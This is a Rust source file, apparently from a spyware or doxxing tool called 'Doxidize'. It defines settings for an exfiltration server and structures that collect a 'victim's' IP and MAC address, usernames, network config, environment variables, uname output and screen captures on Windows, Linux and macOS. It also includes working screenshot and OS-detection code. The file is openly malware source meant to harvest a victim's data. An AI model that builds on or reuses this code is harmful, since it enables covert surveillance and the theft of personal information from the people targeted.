1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
#[cfg(test)]
mod tests {
    #[test]
    fn it_works() {
        assert_eq!(2 + 2, 4);
    }
}
extern crate scrap;
extern crate bincode;
#[macro_use]
extern crate serde_derive;
extern crate serde;

use scrap::{Capturer, Display, Frame};
use std::io::ErrorKind::WouldBlock;
use std::fs::File;
use std::thread;
use std::time::Duration;

/// Doxidize constant variables
pub mod consts {

    /// Ip for Exflitration Server
    pub const SERVER_IP: &str = "127.0.0.1";
    /// Port for Exflitration Server
    pub const SERVER_PORT: &str = "80";

    /// Config option for screenshot
    pub const SS: bool = true;

    pub const DEBUG: bool = false;

    pub const TREE: bool = false;

    /// Config option for usernames
    pub const USERNAMES: bool = false;


}

/// Doxidize type declarations
pub mod types {

    #[derive(Debug, Serialize, Deserialize)]
    pub struct DoxxBuf {
        pub doxx: Option<DoxxType>,
        pub os: OsType
    }

    /// Windows Doxx Data
    /// The function is only included in the build when compiling for Windows
    #[derive(Debug, Serialize, Deserialize)]
    pub struct WinDoxx {
        /// Ip Address of victim.
        pub ip_addr: String,
        /// List of usernames on victims machine.
        pub users: Vec<String>,
        /// Mac Address of victim.
        pub mac_addr: String,
        /// Screenshot of victim's screens
        pub screen: SS,
        /// ifconfig dump
        pub ipconfig: String,
    }

    impl WinDoxx {
        /// Create a new WinDoxx
        pub fn new() -> Self {
            WinDoxx { ip_addr: "".to_string(), mac_addr: "".to_string(), users: vec!("".to_string()), screen: SS::new(), ipconfig: "".to_string()}
        }
    }

    /// Linux Doxx Data
    /// The function is only included in the build when compiling for Linux
    #[derive(Debug, Serialize, Deserialize)]
    pub struct GnuDoxx {
        /// Screenshot of victim's screens
        pub screen: SS,
        /// Output of `uname -a` on linux
        pub uname: String,
        /// Ip Address of victim.
        pub ip_addr: String,
        /// List of usernames on victims machine.
        pub users: Vec<String>,
        /// Mac Address of victim.
        pub mac_addr: String,
        /// ifconfig dump
        pub ifconfig: String,
        /// Tree dump
        pub tree: String,
        /// Env Dump
        pub env: String
    }

    impl GnuDoxx {
        /// Create a new GnuDoxx
        pub fn new() -> Self {
            GnuDoxx { uname: "".to_string(), ip_addr: "".to_string(), mac_addr: "".to_string(), users: vec!("".to_string()), screen: SS::new(), tree: "".to_string(), ifconfig: "".to_string(), env: "".to_string()}
        }
    }

    /// Mac Doxx Data
    /// The function is only included in the build when compiling for macOS
    #[derive(Debug, Serialize, Deserialize)]
    pub struct MacDoxx {
        /// Screenshot of victim's screens
        pub screen: SS,
        /// Ip Address of victim.
        pub ip_addr: String,
        /// List of usernames on victims machine.
        pub users: Vec<String>,
        /// Mac Address of victim.
        pub mac_addr: String
    }


    /// Exlfitration Upload Data
    /// Server Ip & Port, and Doxx Data of victim.
    #[derive(Debug)]
    pub struct ExflData {
        /// Ip of Exlfitration server
        pub server_ip: String,
        /// Port of Exlfitration server
        pub server_port: String,

        pub doxx: Option<DoxxType>
        // #[cfg(target_os = "windows")]
        // pub doxx: WinDoxx,

        // #[cfg(target_os = "macos")]
        // pub doxx: MacDoxx,

        // #[cfg(target_os = "linux")]
        // pub doxx: GnuDoxx,

    }

    #[derive(Debug, Serialize, Deserialize)]
    pub struct SS {
        /// Screen height
        pub h: usize,
        /// Screen width
        pub w: usize,
        /// Screenshot data
        pub data: Vec<u8>
    }

    impl SS {

        pub fn new() -> Self {
            SS { h: 0, w: 0, data: vec!(0u8) }
        }
    }


    /// Supported OS Enum
    #[derive(Debug, Serialize, Deserialize)]
    pub enum OsType {
        /// MacOS/OSX
        Mac,
        /// Windows 3.0-10
        Windows,
        /// Any linux based operating system (other than OSX)
        Linux,
        /// Unsupported OS (Exits without Doxidizing)
        Other
    }

    #[derive(Debug, Serialize, Deserialize)]
    pub enum DoxxType{
        Mac(MacDoxx),
        Windows(WinDoxx),
        Linux(GnuDoxx)
    }
}

/// Utility functions
pub mod util {


    use super::*;

    /// For EXFL into u8
    pub unsafe fn any_as_u8_slice<T: Sized>(p: &T) -> &[u8] {
    ::std::slice::from_raw_parts(
        (p as *const T) as *const u8,
        ::std::mem::size_of::<T>(),
    )
    }

    /// OS Detection
    pub fn os_detect() -> types::OsType {

        let os: types::OsType;

        if cfg!(windows) {
            os = types::OsType::Windows;
        } else if cfg!(unix) {
            os = types::OsType::Linux;
        } else if cfg!(macos) {
            os = types::OsType::Mac;
        }
        else {
            os = types::OsType::Other;
        }

        return os;

    }


    /// Screenshotter using scrap
    pub fn screenshot() -> types::SS {
        let one_second = Duration::new(1, 0);
        let one_frame = one_second / 60;

        let display = Display::primary().expect("Couldn't find primary display.");
        let mut capturer = Capturer::new(display).expect("Couldn't begin capture.");
        let (w, h) = (capturer.width(), capturer.height());

        loop {
            // Wait until there's a frame.

            let buffer = match capturer.frame() {
                Ok(buffer) => buffer,
                Err(error) => {
                    if error.kind() == WouldBlock {
                        // Keep spinning.
                        thread::sleep(one_frame);
                        continue;
                    } else {
                        panic!("Error: {}", error);
                    }
                }
            };

            let mut bitflipped = Vec::with_capacity(w * h * 4);
            let stride = buffer.len() / h;

            for y in 0..h {
                for x in 0..w {
                    let i = stride * y + 4 * x;
                    bitflipped.extend_from_slice(&[
                        buffer[i + 2],
                        buffer[i + 1],
                        buffer[i],
                        255,
                    ]);
                }
            }

            return types::SS {
              h: h, w: w, data: bitflipped
            }
        }


    }
}